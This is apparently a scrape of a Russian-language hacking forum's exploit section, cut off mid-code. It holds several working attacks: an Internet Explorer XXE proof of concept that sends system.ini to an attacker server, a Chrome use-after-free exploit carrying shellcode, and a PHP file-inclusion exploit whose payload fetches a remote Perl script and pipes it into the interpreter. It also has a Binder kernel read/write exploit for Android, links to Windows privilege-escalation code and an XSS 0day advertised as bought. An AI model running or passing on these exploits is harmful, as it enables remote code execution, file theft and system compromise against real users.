Как пояснил специалист, с помощью уязвимости злоумышленник может извлечь локальные файлы. Для этого ему потребуется заставить пользователя открыть MHT- файл, что не составит труда, поскольку все файлы в данном формате открываются в Internet Explorer по умолчанию. Для того чтобы атака сработала, жертве нужно всего лишь дважды щелкнуть кнопкой мыши по файлу, полученному по почте, в мессенджере и т.д.

Уязвимость связана с тем, как браузер обрабатывает команды CTRL+K, «Просмотр печати» или «Печать», пояснил Пэйдж. По его словам, возможно автоматизировать процесс и исключить взаимодействие с пользователем.

«Простого вызова функции window.print() будет достаточно и не потребуется взаимодействие пользователя с web-страницей», - пишет исследователь. Более того, возможно отключить систему уведомлений IE с помощью вредоносного MHT- файла.

Пэйдж успешно протестировал эксплоит на системах под управлением Windows 7, Windows 10 и Windows Server 2012 R2 с установленными последними обновлениями безопасности. Видео с демонстрацией процесса опубликовано ниже.

Эксперт проинформировал Microsoft об уязвимости, однако компания отказалась выпускать внеплановый патч, отметив, что намерена исправить проблему в «будущей версии продукта или сервиса».

Детали и PoC

Code:Copy to clipboard

[+] Credits: John Page (aka hyp3rlinx)     
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-v11-XML-EXTERNAL-ENTITY-INJECTION-0DAY.txt
[+] ISR: ApparitionSec       


[Vendor]
www.microsoft.com


[Product]
Microsoft Internet Explorer v11
(latest version)

Internet Explorer is a series of graphical web browsers developed by Microsoft and included in the Microsoft Windows line of operating systems, starting in 1995.


[Vulnerability Type]
XML External Entity Injection



[CVE Reference]
N/A



[Security Issue]
Internet Explorer is vulnerable to XML External Entity attack if a user opens a specially crafted .MHT file locally.

This can allow remote attackers to potentially exfiltrate Local files and conduct remote reconnaissance on locally installed
Program version information. Example, a request for "c:\Python27\NEWS.txt" can return version information for that program.

Upon opening the malicious ".MHT" file locally it should launch Internet Explorer. Afterwards, user interactions like duplicate tab "Ctrl+K"
and other interactions like right click "Print Preview" or "Print" commands on the web-page may also trigger the XXE vulnerability.

However, a simple call to the window.print() Javascript function should do the trick without requiring any user interaction with the webpage.
Importantly, if files are downloaded from the web in a compressed archive and opened using certain archive utilities MOTW may not work as advertised.

Typically, when instantiating ActiveX Objects like "Microsoft.XMLHTTP" users will get a security warning bar in IE and be prompted
to activate blocked content. However, when opening a specially crafted .MHT file using malicious <xml> markup tags the user will get no such
active content or security bar warnings.

e.g.

C:\sec>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /datatears.xml HTTP/1.1" 200 -
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FONEGA40WOA.FON=EGA40WOA.FONCGA80WOA.FON=CGA80WOA.FONCGA40WOA.FON=CGA40WOA.FON[drivers]wave=mmdrv.dlltimer=timer.drv[mci] HTTP/1.1" 200 -


Tested successfully in latest Internet Explorer Browser v11 with latest security patches on Win7/10 and Server 2012 R2.



[POC/Video URL]
https://www.youtube.com/watch?v=fbLNbCjgJeY



[Exploit/POC]
POC to exfil  Windows "system.ini" file.
Note: Edit attacker server IP in the script to suit your needs.

1) Use below script to create the "datatears.xml" XML and XXE embedded "msie-xxe-0day.mht" MHT file.

2) python -m SimpleHTTPServer

3) Place the generated "datatears.xml" in Python server web-root.

4) Open the generated "msie-xxe-0day.mht" file, watch your files be exfiltrated.


#Microsoft Internet Explorer XXE 0day
#Creates malicious XXE .MHT and XML files
#Open the MHT file in MSIE locally, should exfil system.ini
#By hyp3rlinx
#ApparitionSec

ATTACKER_IP="localhost"
PORT="8000"

mht_file=(
'From:\n'
'Subject:\n'
'Date:\n'
'MIME-Version: 1.0\n'
'Content-Type: multipart/related; type="text/html";\n'
'\tboundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"\n'
'This is a multi-part message in MIME format.\n\n\n'

'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001\n'
'Content-Type: text/html; charset="UTF-8"\n'
'Content-Location: main.htm\n\n'

'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">\n'
'<html>\n'
'<head>\n'
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\n'
'<title>MSIE XXE 0day</title>\n'
'</head>\n'
'<body>\n'
'<xml>\n'
'<?xml version="1.0" encoding="utf-8"?>\n'
'<!DOCTYPE r [\n'
'<!ELEMENT r ANY >\n'
'<!ENTITY % sp SYSTEM "http://'+str(ATTACKER_IP)+":"+PORT+'/datatears.xml">\n'
'%sp;\n'
'%param1;\n'
']>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'</xml>\n'
'<script>window.print();</script>\n'
'<table cellpadding="0" cellspacing="0" border="0">\n'
'<tr>\n'
'<td class="contentcell-width">\n'
'<h1>MSIE XML External Entity 0day PoC.</h1>\n'
'<h3>Discovery: hyp3rlinx</h3>\n'
'<h3>ApparitionSec</h3>\n'
'</td>\n'
'</tr>\n'
'</table>\n'
'</body>\n'
'</html>\n\n\n'

'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--'
)

xml_file=(
'<!ENTITY % data SYSTEM "c:\windows\system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
'<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
)

def mk_msie_0day_filez(f,p):
    f=open(f,"wb")
    f.write(p)
    f.close()


if __name__ == "__main__":
    mk_msie_0day_filez("msie-xxe-0day.mht",mht_file)
    mk_msie_0day_filez("datatears.xml",xml_file)
    print "Microsoft Internet Explorer XML External Entity 0day PoC."
    print "Files msie-xxe-0day.mht and datatears.xml Created!."
    print "Discovery: Hyp3rlinx / Apparition Security"

  


[Network Access]
Remote



[Severity]
High



[Disclosure Timeline]
Vendor Notification: March 27, 2019
Vendor acknowledgement: March 27, 2019
Case Opened: March 28, 2019
MSRC reponse April 10, 2019: "We determined that a fix for this issue will be considered in a future version of this product or service.
At this time, we will not be providing ongoing updates of the status of the fix for this issue, and we have closed this case."
April 10, 2019 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
UaF, Windows 7 x86 - Google Chrome 72.0.3626.119, CVE-2019-5786
ID: 67686ba3b4103b69df379cf5
Thread ID: 28391
Created: 2019-03-24T05:24:43+0000
Last Post: 2019-03-28T16:54:00+0000
Author: weaver
Prefix: Remote
Replies: 1 Views: 3K

CVE-2019-5786 Chrome 72.0.3626.119 stable FileReader UaF exploit for Windows 7 x86.

This exploit uses site-isolation to brute-force the vulnerability. iframe.html is the wrapper script that loads the exploit, contained in the other files, repeatedly into an iframe.

exploit.html

HTML:Copy to clipboard

<html>
    <head>
        <script src="exploit.js"></script>
    </head>
    <body onload="exploit()">
        hi there..
        <!-- <input type="button" value="Exploit me" onclick="exploit()"> -->
    </body>
</html>

exploit.js

JavaScript:Copy to clipboard

let myWorker = new Worker('worker.js');
let reader = null;
spray = null;               // nested arrays used to hold the sprayed heap contents
let onprogress_cnt = 0;     // number of times onprogress was called in a round
let try_cnt = 0;            // number of rounds we tried
let last = 0, lastlast = 0; // last two AB results from the read
let tarray = 0;             // TypedArray constructed from the dangling ArrayBuffer
const string_size = 128 * 1024 * 1024;
let contents = String.prototype.repeat.call('Z', string_size);
let f = new File([contents], "text.txt");
const marker1 = 0x36313233;
const marker2 = 0x37414546;

const outers = 256;
const inners = 1024;

function allocate_spray_holders() {
    spray = new Array(outers);
    for (let i = 0; i < outers; i++) {
        spray[i] = new Array(inners);
    }
}

function clear_spray() {
    for (let i = 0; i < outers; i++) {       
        for (let j = 0; j < inners; j++) {
            spray[i][j] = null;
        }
    }
}

function reclaim_mixed() {
    // spray the heap to reclaim the freed region
    let tmp = {};
    for (let i = 0; i < outers; i++) {
        for (let j = 0; j + 2 < inners; j+=3) {
            spray[i][j] = {a: marker1, b: marker2, c: tmp};
            spray[i][j].c = spray[i][j]     // self-reference to find our absolute address
            spray[i][j+1] = new Array(8);
            spray[i][j+2] = new Uint32Array(32);
        }
    }
}

function find_pattern() {
    const start_offset = 0x00afc000 / 4;
    for (let i = start_offset; i + 1 < string_size / 4; i++) {
        if (i < 50){
            console.log(tarray[i].toString(16));
        }
        // multiply by two because of the way SMIs are stored
        if (tarray[i] == marker1 * 2) {
            if (tarray[i+1] == marker2 * 2) {
                console.log(`found possible candidate objectat idx ${i}`);
                return i;
            }
        }
    }
    return null;
}


function get_obj_idx(prop_idx) {
    // find the index of the Object in the spray array
    tarray[prop_idx] = 0x62626262;
    for (let i = 0; i < outers; i++) {
        for (let j = 0; j < inners; j+=1) {
            try {
                if (spray[i][j].a == 0x31313131) {
                    console.log(`found object idx in the spray array: ${i} ${j}`);
                    return spray[i][j];
                }
            } catch (e) {}
        }   
    }
}

function ta_read(addr) {
    // reads an absolute address through the original freed region
    // only works for ta_absolute_addr + string_size (128MiB)
    if (addr > ta_absolute_addr && addr < ta_absolute_addr + string_size) {
        return tarray[(addr-ta_absolute_addr)/4];
    }

    return 0;
}

function ta_write(addr, value) {
    // wrtie to an absolute address through the original freed region
    // only works for ta_absolute_addr + string_size (128MiB)
    if (addr % 4 || value > 2**32 - 1 ||
        addr < ta_absolute_addr ||
        addr > ta_absolute_addr + string_size) {
        console.log(`invalid args passed to ta_write(${addr.toString(16)}, ${value}`);
    }
    tarray[(addr-ta_absolute_addr)/4] = value;
}

function get_corruptable_ui32a() {
    // finds a sprayed Uint32Array, the elements pointer of which also falls into the controlled region
    for (let i = 0; i < outers; i++) {
        for (let j = 0; j + 2 < inners; j+=3) {
            let ui32a_addr = addrof(spray[i][j+2]) - 1;
            let bs_addr = ta_read(ui32a_addr + 12) - 1;
            let elements_addr = ta_read(ui32a_addr + 8) - 1;
            // read its elements pointer
            // if the elements ptr lies inside the region we have access to
            if (bs_addr >= ta_absolute_addr && bs_addr < ta_absolute_addr + string_size &&
                elements_addr >= ta_absolute_addr && elements_addr < ta_absolute_addr + string_size) {
                console.log(`found corruptable Uint32Array->elements at ${bs_addr.toString(16)}, on Uint32Array idx ${i} ${j}`);
                return {
                    bs_addr: bs_addr,
                    elements_addr: elements_addr,
                    ui32: spray[i][j+2],
                    i: i, j: j
                }
            }
        }
    }
}

var reader_obj = null;
var object_prop_taidx = null;
var ta_absolute_addr = null;
var aarw_ui32 = null;

function addrof(leaked_obj) {
    reader_obj.a = leaked_obj;
    return tarray[object_prop_taidx];
}


function read4(addr) {
    // save the old values
    let tmp1 = ta_read(aarw_ui32.elements_addr + 12);
    let tmp2 = ta_read(aarw_ui32.bs_addr + 16);

    // rewrite the backing store ptr
    ta_write(aarw_ui32.elements_addr + 12, addr);
    ta_write(aarw_ui32.bs_addr + 16, addr);

    let val = aarw_ui32.ui32[0];

    ta_write(aarw_ui32.elements_addr + 12, tmp1);
    ta_write(aarw_ui32.bs_addr + 16, tmp2);

    return val;
}

function write4(addr, val) {
    // save the old values
    let tmp1 = ta_read(aarw_ui32.elements_addr + 12);
    let tmp2 = ta_read(aarw_ui32.bs_addr + 16);

    // rewrite the backing store ptr
    ta_write(aarw_ui32.elements_addr + 12, addr);
    ta_write(aarw_ui32.bs_addr + 16, addr);

    aarw_ui32.ui32[0] = val;

    ta_write(aarw_ui32.elements_addr + 12, tmp1);
    ta_write(aarw_ui32.bs_addr + 16, tmp2);
}

function get_rw() {
    // free up as much memory as possible
    // spray = null;
    // contents = null;
    force_gc();

    // attepmt reclaiming the memory pointed to by dangling pointer
    reclaim_mixed();

    // access the reclaimed region as a Uint32Array
    tarray = new Uint32Array(lastlast);
    
    object_prop_taidx = find_pattern();
    if (object_prop_taidx === null) {
        console.log('ERROR> failed to find marker');
        window.top.postMessage(`ERROR> failed to find marker`, '*');
        return;
    }

    // leak the absolute address of the Object
    const obj_absolute_addr = tarray[object_prop_taidx + 2] - 1;  // the third property of the sprayed Object is self-referential
    ta_absolute_addr = obj_absolute_addr - (object_prop_taidx-3)*4
    console.log(`leaked absolute address of our object ${obj_absolute_addr.toString(16)}`);
    console.log(`leaked absolute address of ta ${ta_absolute_addr.toString(16)}`);

    reader_obj = get_obj_idx(object_prop_taidx);
    if (reader_obj == undefined) {
        console.log(`ERROR> failed to find object`);
        window.top.postMessage(`ERROR> failed to find object`, '*');
        return;
    }
    // now reader_obj is a reference to the Object, object_prop_taidx is the index of its first inline property from the beginning of ta   

    console.log(`addrof(reader_obj) == ${addrof(reader_obj)}`);
    aarw_ui32 = get_corruptable_ui32a();
    // arbitrary read write up after this point
}

var wfunc = null;
let meterpreter = unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100");

function rce() {
    function get_wasm_func() {
        var importObject = {
            imports: { imported_func: arg => console.log(arg) }
        };
        bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
        wasm_code = new Uint8Array(bc);
        wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
        return wasm_mod.exports.exported_func;
    }

    let wasm_func = get_wasm_func();
    wfunc = wasm_func;
    // traverse the JSFunction object chain to find the RWX WebAssembly code page
    let wasm_func_addr = addrof(wasm_func) - 1;
    let sfi = read4(wasm_func_addr + 12) - 1;
    let WasmExportedFunctionData = read4(sfi + 4) - 1;
    let instance = read4(WasmExportedFunctionData + 8) - 1;
    let rwx_addr = read4(instance + 0x74);

    // write the shellcode to the RWX page
    if (meterpreter.length % 2 != 0)
        meterpreter += "\\u9090"; 

    for (let i = 0; i < meterpreter.length; i += 2) {
        write4(rwx_addr + i*2, meterpreter.charCodeAt(i) + meterpreter.charCodeAt(i + 1) * 0x10000);
    }

    // if we got to this point, the exploit was successful
    window.top.postMessage('SUCCESS', '*');
    console.log('success');

    // invoke the shellcode
    window.setTimeout(wfunc, 1000);
}

function force_gc() {
    // forces a garbage collection to avoid OOM kills
    try {
        var failure = new WebAssembly.Memory({initial: 32767});
    } catch(e) {
        // console.log(e.message);
    }
}

function init() {
    abs = [];
    tarray = 0;
    onprogress_cnt = 0;
    try_cnt = 0;
    last = 0, lastlast = 0;
    reader = new FileReader();

    reader.onloadend = function(evt) {
        try_cnt += 1;
        failure = false;
    
        if (onprogress_cnt < 2) {
            console.log(`less than 2 onprogress events triggered: ${onprogress_cnt}, try again`);
            failure = true;
        }

        if (lastlast.byteLength != f.size) {
            console.log(`lastlast has a different size than expected: ${lastlast.byteLength}`);
            failure = true;
        }

        if (failure === true) {
            console.log('retrying in 1 second');
            window.setTimeout(exploit, 1);
            return;
        }

        console.log(`onloadend attempt ${try_cnt} after ${onprogress_cnt} onprogress callbacks`);
        
        try {
            // trigger the FREE
            myWorker.postMessage([last], [last, lastlast]);
        } catch(e) {
            // an exception with this message indicates that the FREE part of the exploit was successful
            if (e.message.includes('ArrayBuffer at index 1 could not be transferred')) {
                get_rw();
                rce();
                return;
            } else {
                console.log(e.message);
            }
        }
    }
    
    reader.onprogress = function(evt) {
        force_gc();
        let res = evt.target.result;
        // console.log(`onprogress ${onprogress_cnt}`);
        onprogress_cnt += 1;
        
        if (res.byteLength != f.size) {
            // console.log(`result has a different size than expected: ${res.byteLength}`);
            return;
        }
    
        lastlast = last;   
        last = res;
    }
    if (spray === null) {
        // allocate the spray holders if needed
        allocate_spray_holders();
    }

    // clear the spray holder arrays
    clear_spray();

    // get rid of the reserved ArrayBuffer range, as it may interfere with the exploit
    try {
        let failure = new ArrayBuffer(1024 * 1024 * 1024);
    } catch (e) {
        console.log(e.message);
    }

    force_gc();
}

function exploit() {
    init();   
    reader.readAsArrayBuffer(f);
    console.log(`attempt ${try_cnt} started`);
}

frame.html

HTML:Copy to clipboard

<html>
    <head>
        <script>
            function iter() {
                let iframe = null;
                
                try {
                    iframe = document.getElementById('myframe');
                    document.body.removeChild(iframe);
                } catch (e) {}
                iframe = document.createElement('iframe');
                iframe.src = 'http://127.0.0.1/exploit.html';
                iframe.id = 'myframe';
                document.body.appendChild(iframe);
                console.log(document.getElementById('myframe')); 
            }
            function brute() {   
                let done = false;
                let interval = window.setInterval(iter, 10000);
                window.onmessage = function(e) {
                    if (e.data.includes('SUCCESS')) {
                        console.log('exploit succesful');
                        window.clearInterval(interval);
                    }
                    console.log(e);
                }
            }
        </script>
    </head>
    <body onload="brute()"></body>
</html>

worker.js

JavaScript:Copy to clipboard

onmessage = function (msg) {
}

analysys cve-2019-5786:
hxxps://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and- exploitation/

Invision Power Board 3.3.1-3.4.8 XSS [0day]
ID: 67686ba3b4103b69df379d00
Thread ID: 27140
Created: 2019-01-04T14:20:54+0000
Last Post: 2019-01-18T19:15:03+0000
Author: Aldesa
Prefix: Web
Replies: 2 Views: 3K

Покупал в далёком 2017.

Сабж в названии

Пароль:

You must have at least 5 reaction(s) to view the content.

или

You must have at least 5 message(s) to view the content.

LFI via PHP session upload progress
ID: 67686ba3b4103b69df379d09
Thread ID: 26568
Created: 2018-11-17T15:01:03+0000
Last Post: 2018-11-17T17:04:58+0000
Author: tabac
Prefix: Web
Replies: 1 Views: 3K

Вроде не выкладывали, а зря!

LFI via PHP session upload progress

возможна эксплуатация LFI путём насильного создания сессии (без session_start()!), если отправить параметр PHP_SESSION_UPLOAD_PROGRESS.
В сплойте также ещё юзается трюк с комбинацией фильтров для создания нужного префикса в шеллкоде, но это не так интересно, и нам уже известно.

PHP:Copy to clipboard

<?php
  ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

Сплойт:

Code:Copy to clipboard

import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool



HOST = 'http://54.250.246.238/'
sess_name = 'iamorange'

headers = {
    'Connection': 'close',
    'Cookie': 'PHPSESSID=' + sess_name
}

payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'


while 1:
    junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
    x = b64encode(payload + junk)
    xx = b64encode(b64encode(payload + junk))
    xxx = b64encode(b64encode(b64encode(payload + junk)))
    if '=' not in x and '=' not in xx and '=' not in xxx:
        payload = xxx
        print payload
        break

def runner1(i):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
    }
    while 1:
        fp = open('/etc/passwd', 'rb')
        r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
        fp.close()

def runner2(i):
    filename = '/var/lib/php/sessions/sess_' + sess_name
    filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
    # print filename
    while 1:
        url = '%s?orange=%s' % (HOST, filename)
        r = requests.get(url, headers=headers)
        c = r.content
        if c and 'orange' not in c:
            print [c]


if sys.argv[1] == '1':
    runner = runner1
else:
    runner = runner2

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)

https://github.com/orangetw/My-CTF-Web-Challenges#one-line-php-challenge

LPE, Windows 10 19H1 (1903) x64, CVE-2019-1215
ID: 67686ba3b4103b69df379cd4
Thread ID: 34230
Created: 2020-01-07T19:49:59+0000
Last Post: 2020-01-07T19:49:59+0000
Author: weaver
Prefix: Local
Replies: 0 Views: 2K

PoC:

github.com

[ bluefrostsecurity/CVE-2019-1215

](https://github.com/bluefrostsecurity/CVE-2019-1215)

Contribute to bluefrostsecurity/CVE-2019-1215 development by creating an account on GitHub.

github.com github.com

Инфа:

CVE-2019-1215 Analysis of a Use After Free in ws2ifsl | Bluefrostsecurity

![labs.bluefrostsecurity.de](/proxy.php?image=https%3A%2F%2Flabs.bluefrostsecurity.de%2Fblog%2F2020%2F01%2F07%2Fcve-2019-1215-analysis- of-a-use-after-free-in- ws2ifsl%2Fimg%2Ffavicon.png%3Fv%3D1&hash=9f464e27bb908d167f90fbcead325996&return_error=1) labs.bluefrostsecurity.de

LPE, Microsoft Windows, CVE-2019-1184
ID: 67686ba3b4103b69df379cd5
Thread ID: 34229
Created: 2020-01-07T18:49:06+0000
Last Post: 2020-01-07T18:49:06+0000
Author: tabac
Prefix: Local
Replies: 0 Views: 2K

Microsoft Windows Elevation of Privilege (CVE-2019-1184)

https://www.cvedetails.com/cve/CVE-2019-1184/
<https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/CVE-2019-1184>

An elevation of privilege vulnerability exists when Windows Core Shell COM Server Registrar improperly handles COM calls. An attacker who successfully exploited this vulnerability could potentially set certain items to run at a higher level and thereby elevate permissions.

To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system.
The update addresses this vulnerability by correcting unprotected COM calls.

Click to expand...

Poc exploit CVE-2019-1184

github.com

[ stuffz/CVE-2019-1184 at master · 0vercl0k/stuffz

](https://github.com/0vercl0k/stuffz/tree/master/CVE-2019-1184)

Basically a script thrift shop. Contribute to 0vercl0k/stuffz development by creating an account on GitHub.

github.com github.com

DLL Preloading and Potential Abuses, Intel Rapid Storage Technology Service, CVE-2019-14568
ID: 67686ba3b4103b69df379cd6
Thread ID: 33904
Created: 2019-12-17T20:40:48+0000
Last Post: 2020-01-04T16:53:06+0000
Author: tabac
Prefix: Local
Replies: 1 Views: 2K

**Intel Rapid Storage Technology Service - DLL Preloading and Potential Abuses

CVE-2019-14568**

В Intel rapid найдена уязвимость позволяющая запускать привилегированные процессы, а также потенциально обходить черные списки антивирусов.

Intel rapid технология обеспечивающая повышенную производительность жёстких дисков SATA. Работает под Windows и поставляется, как правило уже в предустановленном виде с ноутбуками оснащёнными ОС Windows. Так что желательно этот момент проверить и обновить это ПО.

PoC:
[https://safebreach.com/Post/Intel-R...reloading-and-Potential-Abuses- CVE-2019-14568](https://safebreach.com/Post/Intel-Rapid-Storage-Technology- Service-DLL-Preloading-and-Potential-Abuses-CVE-2019-14568)

LPE, Android, CVE-2019-2215
ID: 67686ba3b4103b69df379cd7
Thread ID: 32274
Created: 2019-10-04T21:01:57+0000
Last Post: 2019-12-15T21:00:58+0000
Author: weaver
Prefix: DoS
Replies: 7 Views: 2K

Демонстрационный PoC который показывает, как можно использовать багу (UAF) в драйвере Binder, для получения примитива записи \ чтения ядра.

C:Copy to clipboard

/*
 * POC to gain arbitrary kernel R/W access using CVE-2019-2215
 * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
 *
 * Jann Horn & Maddie Stone of Google Project Zero
 *
 * 3 October 2019
*/

#define _GNU_SOURCE
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <ctype.h>
#include <sys/uio.h>
#include <err.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sched.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>

#define BINDER_THREAD_EXIT 0x40046208ul
// NOTE: we don't cover the task_struct* here; we want to leave it uninitialized
#define BINDER_THREAD_SZ 0x190
#define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25
#define WAITQUEUE_OFFSET 0xA0
#define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10

void hexdump_memory(unsigned char *buf, size_t byte_count) {
  unsigned long byte_offset_start = 0;
  if (byte_count % 16)
    errx(1, "hexdump_memory called with non-full line");
  for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count;
          byte_offset += 16) {
    char line[1000];
    char *linep = line;
    linep += sprintf(linep, "%08lx  ", byte_offset);
    for (int i=0; i<16; i++) {
      linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]);
    }
    linep += sprintf(linep, " |");
    for (int i=0; i<16; i++) {
      char c = buf[byte_offset + i];
      if (isalnum(c) || ispunct(c) || c == ' ') {
        *(linep++) = c;
      } else {
        *(linep++) = '.';
      }
    }
    linep += sprintf(linep, "|");
    puts(line);
  }
}

int epfd;

void *dummy_page_4g_aligned;
unsigned long current_ptr;
int binder_fd;

void leak_task_struct(void)
{
  struct epoll_event event = { .events = EPOLLIN };
  if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");

  struct iovec iovec_array[IOVEC_ARRAY_SZ];
  memset(iovec_array, 0, sizeof(iovec_array));

  iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
  iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;

  int b;
 
  int pipefd[2];
  if (pipe(pipefd)) err(1, "pipe");
  if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size");
  static char page_buffer[0x1000];
  //if (write(pipefd[1], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "fill pipe");

  pid_t fork_ret = fork();
  if (fork_ret == -1) err(1, "fork");
  if (fork_ret == 0){
    /* Child process */
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    sleep(2);
    printf("CHILD: Doing EPOLL_CTL_DEL.\n");
    epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
    printf("CHILD: Finished EPOLL_CTL_DEL.\n");
    // first page: dummy data
    if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
    close(pipefd[1]);
    printf("CHILD: Finished write to FIFO.\n");

    exit(0);
  }
  //printf("PARENT: Calling READV\n");
  ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
  b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
  printf("writev() returns 0x%x\n", (unsigned int)b);
  // second page: leaked data
  if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
  //hexdump_memory((unsigned char *)page_buffer, sizeof(page_buffer));

  printf("PARENT: Finished calling READV\n");
  int status;
  if (wait(&status) != fork_ret) err(1, "wait");

  current_ptr = *(unsigned long *)(page_buffer + 0xe8);
  printf("current_ptr == 0x%lx\n", current_ptr);
}

void clobber_addr_limit(void)
{
  struct epoll_event event = { .events = EPOLLIN };
  if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");

  struct iovec iovec_array[IOVEC_ARRAY_SZ];
  memset(iovec_array, 0, sizeof(iovec_array));

  unsigned long second_write_chunk[] = {
    1, /* iov_len */
    0xdeadbeef, /* iov_base (already used) */
    0x8 + 2 * 0x10, /* iov_len (already used) */
    current_ptr + 0x8, /* next iov_base (addr_limit) */
    8, /* next iov_len (sizeof(addr_limit)) */
    0xfffffffffffffffe /* value to write */
  };

  iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
  iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; /* wq->task_list->next */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */
  iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
